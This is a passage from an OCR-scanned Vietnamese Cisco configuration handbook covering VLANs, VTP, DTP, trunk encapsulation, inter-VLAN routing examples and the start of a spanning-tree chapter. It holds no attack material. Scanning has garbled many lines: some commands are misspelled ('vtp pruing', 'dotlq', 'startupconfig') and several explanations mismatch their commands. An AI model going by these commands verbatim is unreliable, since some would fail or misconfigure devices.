cé thé tir 1 dén 32 ky tu

Switch(config-vlan)# exit

Nhitng thay déi vé vlan sé& dugc thuc thi,
va gia tri revision number sé dugc tang
thém 1,

configuration

va trd vé ché doé global

Switch(config)#

* Cha y:

- Phuong phap tao VLAN bdng céch s dung ch& d6 VLAN configuration |a phuong phép
duy nhét dudc s dung dé tao cac vlan md rong (VLAN ID tir 100 dén 4094).

- Gid tri VTP revision number sé& tang lén 1 khi vlan dudc tao hodc thay déi.

1b. S& dung ché d6 VLAN database

- Ché& dd ciu hinh VLAN databse théng thudng khdéng dugc tdn thanh dé& s dung va sé
khong con kha nang s dung nira dGi vdi moét s6 phién ban Cisco I0S. Khi ban tao VLAN thi

ban khéng nén s dung ché& dd nay dé cau hinh.

Switch# vlan database

Chuyén cdu hinh vao ché& dd VLAN

database

Switch(vlan)# vlan 4 name Sales

Tao vlan 4 va dat tén cho Vlan 4 la Sales.
Do dai tén cua vlan cb thé tir 1 dén 32 ky
tu.

Switch(vlan)# vlan 10

Tao Vlan 10 va tén cua vlan nay sé la
VLANO0O010 theo mac dinh

Switch(vlan)# apply

Nhitng thay ddi vé VLAN s& dugc thuc thi
va gia tri revision number sé tang thém
1.

Switch#

2. Gan port vao VLAN

Switch(config)# interface fastethernet
0/1

Chuyén cdu hinh vao ché dd interface
fa0/1

Switch(config-if)# switchport mode
access

C4u hinh port fa0/1 hoat dong & ché d6

access

Switch(config-if)# switchport access

vian 10

Gan port Fa0/1 vao vlan 10

3. Kiém tra thong tin VLAN

Switch# show vian

Hién thi thdng tin vian

Switch# show vlan brief

Hién thi thdng tin vlan & dang téng quat
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Switch# show vlan id 2 Hién thi thdng tin vlan 2

Switch# show vlan name marketing Hién thi thdéng tin vlan c6 tén 13
marketing

Switch# show interfaces vian x Hién thi thdng tin vlan dudc chi ra trong
cau lénh.

4. Luu cau hinh VLAN

- Nhitng théng tin cau hinh cia VLAN 1 dén VLAN 1005 sé luén dugc luu trong VLAN
database. Khi ban dung cau lIénh apply hoac exit trong ché d6 VLAN database thi nhitng
thay ddi vé Vlan s& dudc Iuvu. Néu ban sir dung ché& dé VLAN configuration, thi cdu lénh exit
thuc thi thi nhitng thay d6i vé VLAN s& dudc luu vao trong VLAN database.

- Néu cdu hinh VLAN database dudc st dung trong qua trinh khd@i déng, va file cdu hinh
startup configuration c6 chira thong tin cau hinh vé cac VLAN md rong, thi nhitng thong tin
nay sé bi mat khi hé théng khai dong lai.

- Néu ban sir dung ché do VTP transparent, thi nhirng cdu hinh dé ciing dugc luu trong file
running configuration va cé thé dudc luu vao file startup configuration bdng cach s dung

cau lénh copy running-config startup-config.

5. Xda cdu hinh VLAN

Switch# delete flash:vlan.dat Xda toan bo thong tin vlan database tir
flash

Switch(config)# interface fastethernet | Chuyén cdu hinh vao ché d6 interface

0/5 fa0/5

Switch(config-if)# exit Tr6 vé ché dd cau hinh Global
configuration

Switch(config)# no vlan 5 Xdba VLAN 5 tir vlan database

Hoac

Switch# vlan database Chuyén cdu hinh vao ch& dd VLAN
database

Switch(vlan)# no vlan 5 Xoa vlan 5 tir vlan database

Switch(vlan)# exit Thuc thi nhithg thay ddi, tdng gid tri

revision number nén 1, va thoat khoi ché
do VLAN databse.

* Cha y:

- Khi ban xéa mo6t VLAN tir moét switch hoat dong & ché d6 VTP server, thi VLAN d6 cling sé
dugc xd6a khdi VLAN database cua tét ca cdc switch nam trong VTP domain. Khi ban x6a
mot VLAN t&r mot switch hoat dong & ché do VTP transparent, thi vlan do chi bi xéa duy
nhat khai switch dé.
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- Ban khdng thé x6a VLAN mac dinh trong nhitng méi trudng mang khac nhau: dgi véi

Ethernet 1a VLAN 1, d6i véi FDDI hoac Token Ring la VLAN 1002 dén 1005.

- Khi ban x6a mo6t VLAN, thi cac port dudgc gan vao trong VLAN do6 sé trd vé trang thai

khong hoat dong. Chiang sé hoat dong trd lai khi ban gan ching vao VLAN mdi. Vi vay ban

nén gan lai cac port sang mot vlan khac sau dé6 mdi xo6a vlan do khéi VLAN database.

6. Vi du

- Hinh 9-1 la sG d6 mang dudc dung trong vi du nay. Vi du nay sé trinh bay vé cdu hinh

VLAN sUf dung nhifng cdu Iénh trong pham vi cia chudng nay.

Hinh 9-1
10 1.1.0024
Native \
VLAN 1
—~ \\ L _//
=
Admin
i VLAN 10
"\\_q____,,/‘m__
Ports: 1-8
10.1.10.0/24 B ——
Accounting
\ VLAN ED/
s o r ™
Fors: 9-15 A . :
10.1.20.0/24 Engineering K]—«_
U VLAN30 |5 s
'\\h / 7 #
N - 10.1.30. 1024
Ports: 16-24
10.1.30.0/24
2960 Switch
Switch> enable Chuyén cdu hinh vao ché dé Privileged
Switch# configure terminal Chuyén cdu hinh vao ch& dd Global
configuration
Swtich(config)# hostname 2960 Cau hinh tén cho switch
2960(config)# vlan 10 Tao vlan 10 va déng thdi chuyén cau
hinh vao ché dd VLAN configuration
2960(config-vlan)#name Admin bat tén cho vlan 10 la Admin
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2960(config-vlan)#exit

Trd vé ché do Global configuration

2960(config)#vlan 20

Tao vian 10

2960(config-vlan)#name Accounting

bat tén vlan 10 la Accounting

2960(config-vlan)#vlan 30

Tao vian 30

2960(config-vlan)#name

Engineering

Dat tén vlan 30 la Engineering

2960(config-vlan)#exit

Trd vé ché do global configuration

2960(config)#interface range
fasthethernet 0/1 - 8

Chuyé&n cdu hinh vao ché& dd interface
fa0/1 dén fa0/8

2960(config-if-range)#switchport

mode access

Cho phép cac port tir faO/1 dén port
fa0/8 hoat dong & ché d6 access

2960(config-if-range)#switchport
access vian 10

Gan cac port tur fa0/1 dén fa0/8 vao vian
10

2960(config-if-range)#interface
range fastethernet 0/9 - 15

Chuyén cdu hinh vao ché& dd interface
fa0/9 dén fa0/15

2960(config-if-range)#switchport

mode access

Cho phép cac port tir fa0/9 dén port
fa0/15 hoat dong & ché do access

2960(config-if-range)#switchport
access vian 20

Gan cac port tur fa0/9 dén fa0/15 vao

vlan 20

2960(config-if-range) #interface
range fastethernet 0/16 - 24

Chuyén cdu hinh vao ché dd interface
fa0/16 dén fa0/24

2960(config-if-range)#switchport

mode access

Cho phép cac port tir fa0/16 dén port
fa0/24 hoat dong & ché do access

2960(config-if-range)#switchport

access vian 30

Gan cac port tur fa0/16 dén fa0/24 vao

vlan 30

2960(config-if-range)#exit

Tr6 vé ché do cau hinh Global

configuration

2960(config) #exit

Thoat khoi ché do Global configuration

2960#copy running-config
startupconfig

Luu file cau hinh dang chay trén RAM vao
NVRAM

Chucong 10: VLAN Trunking Protocol va Inter-vlan Routing

Chuang nay cung cap nhitng théng tin va cac céu Iénh c6 lién quan dén nhitng chu dé sau:

- Dynamic Trunking Protocol (DTP)
- Cau hinh loai déng gobi

- VLAN Trunking Protocol (VTP)

+ S(r dung ché do Global Configuration
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+ S dung ché do VLAN database

- Kiém tra VTP

- Inter-vlan Routing st dung Router

- Cac chu y khi cau hinh Inter-vian

- Vi du: cau hinh Inter-vlan

1.

Dynamic Trunking Protocol (DTP)

Switch(config)# interface fastethernet
0/1

Chuyén c8u hinh vao ché& dd interface
fa0/1

Switch(config-if)# switchport mode
dynamic

desirable

Cho phép interface dang hoat dong sé
cd gang thuc hién chuyén déi sang

trang thai cia dudng trunk

* Cha y: v6i cau lénh switchport
mode dynamic desirable dugc cau
hinh trén interface, thi interface d6 sé
trd thanh port trunk néu interface hang
hinh  la:

desirable, hoac auto.

xom dudc cdu trunk,

Switch(config-if)# switchport mode
dynamic
Auto

Cho phép interface dang hoat dong sé
cd giéng thuc hién chuyén ddi sang

trang thai cia dudng trunk

* Chud y: véi cau

mode dynamic auto dugc cdu hinh

Iénh switchport

trén interface, thi interface d6 sé trd
thanh port trunk néu interface hang
cau hinh la:

xo0m dugc trunk,

desirable.

Switch(config-if) #switchport
nonegotiate

Khéng cho phép interface nay chuyén

cac goi tin DTP

* Chu y: S dung cau lénh switchport
nhat khi
interface hoat doéng & ché d6 access

mode nonegotiate duy

hodc trunk. Ban s& phai cdu hinh bang
tay cdc interface hang xém dé thiét I1ap
dudng trunk.

Switch(config-if) #switchport mode

trunk

Cau hinh interface nay cd dinh hoat
dong & trang thai trunk va sé tu dong
thuong lugng vd@i cac interface hang

x6m dé& chuyén déi lién két d6 thanh
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trang thai trunking.

* Chu y: Vé&i cau Iénh switport mode
trunk dugc cdu hinh, thi interface sé
trd thanh mot dudng trunk néu cac
interface hang xom khong phai la mét
dudng trunk.

* Cha y:

- Theo mdc dinh, phu thudc vao tirng dong san phdm switch. Vi du d6i véi dong switch
2960, thi ché d6 mac dinh la dynamic auto.

- Trén dong switch 2960, theo mac dinh tat cd cac port déu hoat dong & ché do access. Tuy
nhién, véi ché d6 méac dinh cta DTP la dynamic auto, mét access port c6 thé chuyén ddi
thanh mot port trunk néu port dé nhan théng tin DTP tir mot port clia switch khac néu port
cla switch dé dugc cau hinh la Trunk hodc desirable. Vi vdy ban nén cau hinh c6 dinh tat
ca cac port hoat dong & ché dbé access vdi cau Iénh: switchport mode access. V3i cach
nay, thi nhitng théng tin DTP s& khéng thé thay déi dugc mét port hoat ddng & trang thai
access port thanh mot port trunk. Tat céd cac port d& dugc dung cau Iénh switchport mode

access sé bo qua tat ca nhitng yéu cau chuyén d&i trang thai dudng lién két.

2. C4u hinh cac loai encapsulation
- Phu thudc vao cac dong switch ma ban cd thé s dung, ban sé& phai chon mét loai VLAN
encapsulation ma ban muén s dung: Giao thic doc quyén cla cisco Inter-Switch Link
(ISL) hodc IEEE 802.1q (dotlq). V&i dong switch 2960 thi chi hd trg duy nhat dotlq
trunking.

3560Switch(config)# interface fa0/1

Chuyén vao ché& dd cdu hinh cua
interface fa0/1

Cho phép interface fa0/1 hoat déng & ché
do trunk c6 dinh va dong thdi tu dong

thuong lugng dé chuyén déi trang thai

3560Switch(config-if) #switchport
mode trunk

cua duong lién két thanh trang thai
Trunk

3560Switch(config-if) #switchport
trunk

encapsulation isl

Cho phép dit liéu khi dudc truyén trén
dudng trunk sé& dudc déng goi theo chuén
cla giao thic ISL

3560Switch(config-if) #switchport
trunk

encapsulation dotlq

Cho phép dir liéu khi dudc truyén trén
dudng trunk s& dugc ddng géi theo chuén
cua giao thirc 802.1q

3560Switch(config-if) #switchport
trunk

encapsulation negotiate

Cho phép interface sé tu doéng thuadng
lugng v3i cac interface hang xém dé sur
dung chuén ISL hodc 802.1q, phu thudc
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vao tirng dong san phadm hodc ciu hinh

trén cac interface hang xoém.

* Cha y:

- Khi cdu lénh switchport trunk encapsulation negotiate dugc st dung trong interface,

thi phuang phap trunking dugc uu tién sé la ISL.
- VG8i dong san pham switch 2960 thi chi hd trg duy nhat giao thirc dot1q trunking.

3. VLAN Trunking Protocol (VTP)

- VTP la mét giao thic ddc quyén cua Cisco, giao thic nay cho phép cdu hinh VLAN (thém,

x6a, hodc stra cac thong tin VLAN) sé dudgc duy tri tap trung thong qua moét mién.

3.a. S dung ché d6 Global Configuration

Switch(config)# vtp mode client Thay d6i ch& db6 hoat déng cua switch
thanh ché do VTP client

Switch(config)# vtp mode server Thay déi hoat déng cua switch thanh ché&

do VTP server

Switch(config)# vtp mode transparent | Thay déi switch vé& ch& dd hoat déng VTP

transparent.

* Cha y: Theo mac dinh, tadt ca cac
Catalyst switch hoat dong & ché d6 VTP

server

Switch(config)# no vtp mode Cho phép switch trg vé ché d6é hoat dong
mac dinh la VTP server

Switch(config)# wvtp domain domain- | Cau hinh tén cho VTP domain. Tén nay
name cé thé dai tir 1 dén 32 ky tu.

* Chu y: tat cd cac switch hoat dong &
ché do VTP server hoac VTP client sé phai

cung tén domain.

Switch(config)# vtp password password | Cau hinh mot VTP password. Trong phién
ban Cisco I0S 12.3 hodc cac phién sau
nay, thi password & dang ma ASCII cé do
dai tr 1 dén 32 ky tu. Néu ban s dung
mot phién ban Cisco IOS cli han, thi
chiéu dai cua password la tir 8 dén 64 ky
tu.

* Cha y: dé cb thé trao ddi théng tin vlan
v@i cac switch khac, thi tat ca cac switch

s€ phai cdu hinh cung mét VTP password.

Switch(config)# vtp v2-mode Cdu hinh VTP domain hoat dong Ila
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version 2. Cau lénh chi s& dung cho
phién ban Cisco I0S 12.3 trd lén. Néu
ban dang s dung phién ban Cisco I0S
cli hon thi cau lénh sé la : vtp version
2.

* Cha y: VTP version 1 va version 2

khéng cé kha nang tuong thich véi nhau.
Tat cad cac switch sé phai sir dung cung
version. Su khac nhau 16n nhat gilta
version 1 va version 2 13 version 2 s& hd
trg cho Token Ring VLAN.

Switch(config)# vtp pruing Enable tinh nang VTP pruning trén
switch.

* Chu y: Theo mac dinh, VTP pruning bi
disable. Ban can phai enable VTP pruning

trén mot switch duy nhat hoat dong &

ché do VTP server.

3.b. S& dung ché d6 VLAN Database
* Cha y: ché& d6 VLAN database thudng sé khéng dudgc s dung d& ciu hinh va da dugc bd

trong mét s& phién ban Cisco 10S. Vi vy ban nén s dung ché& dd VLAN configuration dé

cau hinh.

Switch# vlan database Chuyén c8u hinh vao ché dd VLAN
database

Switch(vlan)# vtp client Thay d6i ché db hoat déng clia switch
thanh VTP client

Switch(vlan)# vtp server Thay d6i ché dé hoat dbng cua switch
thanh VTP server

Switch(vlan)# vtp transparent Thay déi ché dé hoat ddng cua switch

thanh VTP transparent.

* Cha y: Theo mac dinh, tat cad cac
Catalyst switch hoat dong & ché do VTP

server

Switch(vlan)#vtp domain domain- | Cau hinh tén cho VTP domain. Tén nay
name cb thé dai tir 1 dén 32 ky tu.

* Chu y: tat cd cac switch hoat dong &
ché d6 VTP server hoac VTP client sé phai

cung tén domain.

Switch(vlan)#vtp password password | Cau hinh mét VTP password. Trong phién
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ban Cisco I0S 12.3 hodc cac phién sau
nay, thi password & dang ma ASCII cé do
dai tr 1 dén 32 ky tu. Néu ban s dung
moét phién ban Cisco IOS cli hagn, thi
chiéu dai cua password la tir 8 dén 64 ky
tu

* Cha y: dé€ cb thé trao ddi théng tin vlan
v@i cac switch khac, thi tat ca cac switch

s€ phai cdu hinh cuing mét VTP password.

Switch(vlan)#vtp v2-mode Cédu hinh VTP domain hoat dong la
version 2. Cau lénh chi s& dung cho
phién ban Cisco I0S 12.3 tréd lén. Néu
ban dang s dung phién ban Cisco I0S
cli han thi cau Iénh sé la : vtp version
2.

* Cha y: VTP version 1 va version 2
khoéng cé kha nang tudng thich véi nhau.
Tat cd cac switch sé phai sir dung cung
version. Su khac nhau I6n nhéat gilta
version 1 va version 2 13 version 2 s& hd
trg cho Token Ring VLAN.

Switch(vlan)#vtp pruning Enable tinh nang VTP pruning trén

switch.

* Chu y: Theo mac dinh, VTP pruning bi
disable. Ban can phai enable VTP pruning
trén mot switch duy nhat hoat dong &
ché do VTP server.

Switch(vlan)#exit Thuc thi nhitng thay d&i vao VLAN
database, dong thdi tang gid tri revision
number |én 1, va thoat khdi ché d6 VLAN

database.
4. Kiém tra VTP
Switch# show vtp status Hién thi nhitng thdng tin cdu hinh vé VTP
Switch# show vtp counters Hién thi b6 dém VTP cla switch.

* cha y: Néu trunking da dudgc thiét lap trudc khi VTP dugc cau hinh, thi théng tin VTP sé
dugc quang ba thong qua dudng trunk dé ngay lap tlc. Tuy nhién, bdi vi théong tin VTP
dugc quang ba duy nhét theo chu ky 1a 30 gidy (5 phat), trir khi thay déi thong tin VLAN
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thay ddi thi séi dudc quang bd, cho nén can phai mat mét thdi gian khoang méay phut thi

théng tin VTP méi dugc quang ba.

5. Inter-vlan Routing s&r dung Router

Router(config) #interface fastethernet
0/0

Chuyén cdu hinh vao ché db6 cua

interface fa0/0

Router(config-if) #duplex full

Céu hinh interface hoat déng & ché dé

full duplex

Router(config-if)#no shutdown

Enable interface

Router(config-if) #interface
fastethernet 0/0.1

Tao mot subinterface fa0/0.1 va dong
thdi chuyén vao ché& dé cdu hinh cua

subinterface do.

Router(config-subif) #description
Management VLAN 1

Dat 16i mo6 ta cho subinterface nay.

Router(config-subif)# encapsulation

dotlq 1 native

Gan VLAN 1 cho subinterface nay. VLAN
1 sé la native vlan. Subinterface nay sé
st dung giao thirc 802.1q Trunking

Router(config-subif) #ip address
192.168.1.1 255.255.255.0

Gan dia chi IP va subnet mask cho

subinterface

Router(config-subif) #interface
fastethernet 0/0.10

Tao mot subinterface fa0/0.1 va dong
thdi chuyén vao ch& dd cidu hinh cla

subinterface do.

Router(config-subif) #description
Accounting VLAN 10

Pat IGi mo6 ta cho subinterface

Router(config-subif) #encapsulation
dotiq 10

Gan VLAN 10 cho subinterface nay.
Subinterface nay sé s dung giao thuc
802.1g Trunking

Router(config-subif) #ip address
192.168.10.1 255.255.255.0

Gan dia chi IP va subnet mask cho

subinterface.

Router(config-subif) #exit

Thoat khoi ché do cau hinh subinterface

Router(config-if) #exit

Thoat khdi ché d0 cdau hinh Global

configuration

Router(config) #

*Chay:

- Cac subnet clia cac VLAN dang két ndi truc ti€p dén router. Dinh tuyén gilfa cac subnet sé
khéng can mot giao thifc dinh tuyén dong. Trong nhiéu moé hinh phtc tap, thi cac route nay
sé can dudc quang ba bdi cac giao thirc dinh tuyén dong hodc sé dugc quang ba vao trong

cac giao thic dinh tuyén dong.
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- Cac route clia cac subnet tuong rng véi mdi vlan sé& dudc xuét hién trong bang dinh tuyén

nhu moét mang dang két n6i truc ti€p.

6. Chu y khi cau hinh Inter-vlan routing
- M&c du hau hét cac router cé kha ndng hd trg ca hai giao thic ISL va dotlq, nhung mot
s6 dong switch thi chi c6 kha ndng hd trg dotlq (vi du: switch 2950 hodc switch 2960).
- Néu ban can s dung ISL nhu mot giao thic hoat dong trén dudng trunk, thi sir dung céu
Iénh encapsulation isl x, trong dé x la chi s6 cia VLAN sé dudc gan cho Subinterface.
- Trong qua trinh thuc hanh thi cac ban nén s dung cung chi sé vlan véi chi s6 cua
subinterface. Viéc d6 s& dé dang cho qud trinh slra 16i cé lién quan dén VLAN vi du VLAN 10
dugc gan vao subinterface fa0/0.10 thay vi la fa0/0.2.
- Native VLAN (thudng la VLAN 1) khéng thé dudc cdu hinh trén moét subinterface ddi vdi
cac phién ban Cisco I0S 12.1 (3)T trd vé trudc. Dia chi IP clua Native VLAN can phai dugc
cau hinh chinh vi vay né can phai dugc cau hinh trén interface vat ly. Con nhiing Iuu lugng
nam trén cac VLAN khdc cé thé dugc cdu hinh trén cac subinterface.

Router(config) #interface fastethernet 0/0

Router(config-if)#encapsulation dotlq 1 native

Router(config-if)#ip address 192.168.1.1 255.255.255.0

Router(config-if)#interface fastethernet 0/0.10

Router(config-subif) #encapsulation dotiq 10

Router(config-subif)#ip address 192.168.10.1 255.255.255.0

7. Vi du cau hinh Inter-vlan Routing

- Hinh 10-1 la so d6 mang dugc dung cho vi du. Vi du nay sé trinh bay cach cau hinh Inter-
Vlan Routing trén router s dung nhitng cdu |énh ndm trong pham vi cla bai lab nay. Mot
sO cau lénh dugc str dung trong nhirng chudng trudc.
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Hinh 10-1
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192 168.20. 0;24)/

faUJ’Q-TZ
192.168.30.0/24

\Jklj,\y/

Router>enable

Chuyén céu hinh vao ché& dé Privileged

Router>#configure terminal

Chuyén vao ché& dd c8u hinh Global

Configuration Router(config)#hostname

ISP

Cau hinh tén cho Router la ISP

ISP(config)#interface loopback 0

Tao moét interface loopback 0 va déng
thai

interface nay.

chuyén cdu hinh vao ché do

ISP(config-if)#description
simulated address representing

remote website

Pat 16i mo ta cho interface loopback 0

ISP(config-if)#ip address
198.133.219.1 255.255.255.0

Gan dia chi IP va Subnetmask cho

interface loopback 0

ISP(config-if)#interface serial
0/0/0

Chuyé&n cdu hinh vao ché& dd interface
s0/0/0

ISP(config-if)#description WAN

link to the Corporate Router

bat I6i mo ta cho interface s0/0/0
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ISP(config-if)#ip address
192.31.7.5 255.255.255.252

Gan dia chi ip va subnet mask cho
interface s0/0/0

ISP(config-if)#clock rate 56000

bat clock rate cho interface s0/0/0 la
56000 (don vi la bps).

ISP(config-if)#no shutdown

Enable interface.

ISP(config-if) #exit

Thoat khdi ché do cau hinh cla interface
s0/0/0

ISP(config-if)#router eigrp 10

Cho phép router ISP chay giao thic dinh
tuyén EIGRP vd&i AS = 100

ISP(config-router)#network
198.133.219.0

Quang ba cac mang két néi truc ti€p vao

cac interface trén router.

ISP(config-router)#network
192.31.7.0

Quang ba cac mang két néi truc ti€p vao

cac interface trén router.

ISP(config-router)#no autosummary

T&t tinh nang tu déng tdng hap dia chi.

ISP(config-router) #exit

Thoat khoi ché€ d6 cdu hinh router

ISP(config)#exit

Thoat khdéi ché do cau hinh Global

Configuration

ISP#copy running-config

startupconfig

Luu file cau hinh dang chay trén RAM vao
NVRAM

CORP Router

Router>enable

Chuyén c4u hinh vao ché& dé Privileged

Router>#configure terminal

Chuyén cdu hinh vao ché dé Global

configuration

Router(config)#hostname CORP

bat tén cho router la CORP

CORP(config)#no ip domain-lookup

Tat tinh nédng tu déng phan giai cac cau

[énh

CORP(config)#interface serial
0/0/0

Chuyén cdu hinh vao ché do interface
s0/0/0

CORP(config-if)#description link
to ISP

Pat I6i mo ta cho interface s0/0/0

CORP(config-if)#ip address
192.31.7.6 255.255.255.252

Gan dia chi IP va subnetmask cho

interface s0/0/0

CORP(config-if)#no shutdown

Enable interface.

CORP(config-if) #exit

Thoat khdi ché do cau hinh cla interface
s0/0/0

CORP(config)#interface
fastethernet 0/0

Chuyén cau hinh vao ché do interface
fa0/0

CORP(config-if)#duplex full

Cau hinh interface fa0/0 hoat dong & ché
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do full duplex

CORP(config-if)#no shutdown

Enable interface

CORP(config-if)#interface
fastethernet 0/0.1

Tao mot subinterface va dong thdi

chuyén c8u hinh vao ché dd subinterface.

CORP(config-subif)#description

Management VLAN 1 - Native VLAN

Pat 16i mo6 ta cho subinterface nay.

CORP(config-subif)#encapsulation
dotlq 1 native

Gan vlan 1 vao subinterface nay. VLAN 1
sé la native vlan. Subinterface fa0/0.1 sé
st dung giao thirc 802.1Q trunking

CORP(config-subif)#ip address
192.168.1.1 255.255.255.0

Gan dia chi IP va subnetmask cho
Subinterface nay.

CORP(config-subif)#interface
fastethernet 0/0.10

Tao moOt subinterface va d6ng thdi

chuyén cdu hinh vao ché& dé subinterface.

CORP(config-subif)#description
Sales VLAN 10

Pat IGi mo6 ta cho subinterface nay

CORP(config-subif)#encapsulation
dotiq 10

Gan vlan 10 vao subinterface nay.
Subinterface fa0/0.1 sé s dung giao

thirc 802.1Q trunking

CORP(config-subif)#ip address
192.168.10.1 255.255.255.0

Gan dia chi IP va subnetmask cho

Subinterface nay.

CORP(config-subif)#interface
fastethernet 0/0.20

Tao mot subinterface va dong thdai

chuyén c8u hinh vao ché db subinterface.

CORP(config-subif)#description
Engineering VLAN 20

bat I6i mo6 ta cho subinterface nay

CORP(config-subif)#encapsulation
dotiq 20

Gan vlan 20 vao subinterface nay.
Subinterface fa0/0.1 sé s dung giao

thirc 802.1Q trunking

CORP(config-subif)#ip address
192.168.20.1 255.255.255.0

Gan dia chi IP va subnetmask cho
Subinterface nay.

CORP(config-subif)#interface
fastethernet 0/0.30

Tao mot subinterface va dong thdi

chuyén cdu hinh vao ché& dé subinterface.

CORP(config-subif)#description
Marketing VLAN 30

bat I6i mo6 ta cho subinterface nay

CORP(config-subif)#encapsulation
dotliq 30

Gan vlan 30 vao subinterface nay.
Subinterface fa0/0.1 sé s dung giao

thirc 802.1Q trunking

CORP(config-subif)#ip add
192.168.30.1 255.255.255.0

Gan dia chi IP va subnetmask cho
Subinterface nay.

CORP(config-subif) #exit

Thoat khoi ché do cau hinh subinterface

CORP(config-if) #exit

Thoat khoi ché d6 cau hinh interface
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CORP(config)#router eigrp 10

Cho phép router chay giao thic dinh
tuyén EIGRP

CORP(config-router)#network

Quang ba mang dang két ndi truc tiép

192.168.1.0 vao interface cua router
CORP(config-router)#network Quang ba mang dang két ndi truc tié€p
192.168.10.0 vao interface cla router
CORP(config-router)#network Quang ba mang dang két ndi truc ti€p
192.168.20.0 vao interface cua router
CORP(config-router)#network Quang ba mang dang két ndi truc tiép
192.168.30.0 vao interface cua router
CORP(config-router)#network Quang ba mang dang két ndi truc ti€p
192.31.7.0 vao interface clua router

CORP(config-router)#no autosummary

T&t tinh nang tu déng téng haop dia chi

CORP(config-router)#exit

Thoat khdi ché do cau hinh router

CORP(config)#exit

Thoat khoi ché d6 cdu hinh Global

configuration

CORP#copy running-config
startupconfig

Luu file cau hinh dang chay trén RAM vao
NVRAM.

L2Switch1 (catalyst 2960)

Switch>enable

Chuyén c4u hinh vao ché& dé Privileged

Switch#configure terminal

Chuyén cdu hinh vao ché dé Global

configutaion

Switch(config)#hostname L2Switch1

bat tén cho switch la L2Switch1

L2Switch1(config)#no ip domain-

lookup

Tat tinh nang phan giai cau Iénh khi nhap

sai

L2Switch1(config)#vlan 10

Tao VLAN 10 va déng thd&i chuyén cdu
hinh vao ché do VLAN Configuration

L2Switch1(config-vlan)#name Sales

bat tén cho VLAN 10 la Sales

L2Switch1(config-vlan)#exit

Thoat khdi ché do cau hinh VLAN

L2Switch1(config)#vlan 20

Tao vilan 20

L2Switch1(config-vlan)#name

Engineering

Dat tén vlan 20 la Engineering

L2Switch1(config-vlan)#vlan 30

Tao vlan 30

L2Switch1(config-vlan)#name

Marketing

bat tén vlan 30 la Marketing

L2Switch1(config-vlan)#exit

Thoat khoéi ché do cau hinh VLAN

L2Switch1(config)#interface range
fastethernet 0/2 - 4

Chuyén cau hinh vao cac interface fa0/2
-4
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L2Switch1(config-if-range)#switchport

mode access

C4u hinh cac port nay hoat dong & ché

do access

L2Switch1(config-if-range)#switchport

access vian 10

Gan cac port nay vao vlan 10

L2Switch1(config-if-range)#interface
range fastethernet 0/5 -8

Chuyén cdu hinh vao céc interface fa0/5
-8

L2Switch1(config-if-range)#switchport

mode access

C4u hinh cac port nay hoat dong & ché

do access

L2Switch1(config-if-range)#switchport

access vian 20

Gan céc port nay vlan 20

L2Switch1(config-if-range)#interface
range fastethernet 0/9 - 12

Chuyén cdu hinh vao céc interface fa9 -
12

L2Switch1(config-if-range)#switchport

mode access

C4u hinh cac port hoat dong & ché dé

access

L2Switch1(config-if-range)#switchport
access vian 30

Gan cac port vao VLAN 30

L2Switch1(config-if-range)#exit

Thoat khoi ché d6 cau hinh interface

L2Switch1(config)#interface
fastethernet 0/1

Chuyén cdu hinh vao ché& dd interface
fa0/1

L2Switch1(config)#description Trunk
Link to CORP Router

bat IGi mo ta cho interface nay fa0/1

L2Switch1(config-if) #switchport mode
Trunk

C4u hinh port nay hoat dong & ché do

trunk

L2Switch1(config-if) #exit

Thoat khoi ché do cau hinh cla interface
fa0/1

L2Switch1(config)#interface vian 1

Chuyé&n cdu hinh vao ché dd interface

vlan 1

L2Switch1(config-if)#ip address
192.168.1.2 255.255.255.0

Gan dia chi IP va subnetmask cho

interface vlan 1

L2Switch1(config-if)#no shutdown

Enable interface vian 1

L2Switch1(config-if) #exit

Thoat khoi ché do cau hinh cla interface

vlan 1

L2Switch1(config)#ip default-gateway
192.168.1.1

bat dia chi default gate cho switch

L2Switch1(config) #exit

Thoat khoi

configuration

ché do cdu hinh Global

L2Switch1#copy running-config

startup-config

Luu file cdu hinh dang chay trén RAM
vao NVRAM
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Chuong 11: STP va EtherChannel
Chuang nay sé cung cap nhitng théng tin va cac cau Iénh cd lién quan dén cac chd dé sau:
* Spanning tree protocol
- Enable STP
- Cdu hinh Root Switch
- Cau hinh mot Root switch du phong
- Cau hinh port priority
- Cau hinh path cost
- Cau hinh switch priority cia mét vlan
- Cau hinh cac tham sé thai gian cta STP
- Kiém tra STP
- Cau hinh cac tuy chon cua STP
- Thay d&i cac ché& dd spanning-tree
- Binh danh hé théng mad réng (System ID)
- Enable Rapid Spanning Tree
- Xt ly 16i STP
- Cau hinh vi du: STP
* EtherChannel
- Cac ché d6 interface trong EtherChannel
- Cac hudng dan cau hinh EtherChannel
- Cau hinh Layer 2 EtherChannel
- Kiém tra EtherChannel
- Cau hinh vi du: EtherChannel.
I. Giao thuc Spanning Tree
1. Enable STP
Switch(config)#spanning-tree vian 5 Enable giao thirc STP trén VLAN 5 cla

switch

Switch(config)#no spanning-tree vlan | Disable giao thifc STP trén VLAN 5 cua
5 switch

* Chu y: Néu cd nhiéu VLAN hoat ddng trong mot VTP domain, thi ban cd thé dugc phép
cau hinh STP trén 64 VLAN. NE&u ban cé nhiéu 128 vlan, thi ban nén s dung giao thic
Multiple STP.

2. C4u hinh Root switch

Switch(config) #spanning-tree vian 5 S(ra d6i switch priority tir giad tri mac dinh
Root I& 32768 thanh mot gid tri thdp hon dé
cho phép switch c6 thé trd thanh moét

root switch trong vlan 5

* Chu y: NEu tat cad cac switch khac déu
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cé kha ndng hd trg System ID md rong,
thi switch dugc cdu hinh bdng cau Iénh
trén sé khdi tao lai gia tri priority la
24576. Néu cé mot s6 switch cé gid tri
priority dugc cau hinh thap han 24576,
thi switch d6 sé dudc gan gia tri priority
la 4096 la gia tri priority thap nhat trong
s6 cac switch. Néu switch nao dugc gan
gia tri priority thap han 1, thi cau lIénh dé

sé& bj 15i.

Switch(config)#spanning-tree vian 5

root primary

Switch sé tinh toan lai cac tham s6 thdi
gian V@i cac gia tri prirority d€ cho phép
switch dé c6 thé trd thanh root switch
cho VLAN 5.

* Chu y: Thong thudng root switch la
mot switch ndm & mang backbone hodc

distribution

Switch(config)#spanning-tree vian 5
root primary diameter 7

Cau hinh switch nay tréd thanh root
switch clia vlan 5 va dong thdi cdu hinh

gia tri diameter la 7

* Cha y: tor khdéa diameter dugc su
dung dé€ dinh nghia s6 switch t&i da gilta
hai end stations. S6 switch sé dudgc dao
dong tir 2 dén 7

Switch(config)#spanning-tree vian 5

root primary hello-time 4

Cdu hinh switch nay trd thanh root
switch clia VLAN 5 va cdu hinh thdi gian
hello-delay la 4 giay.

* Chu y: tUr khoa hello-time dugc s
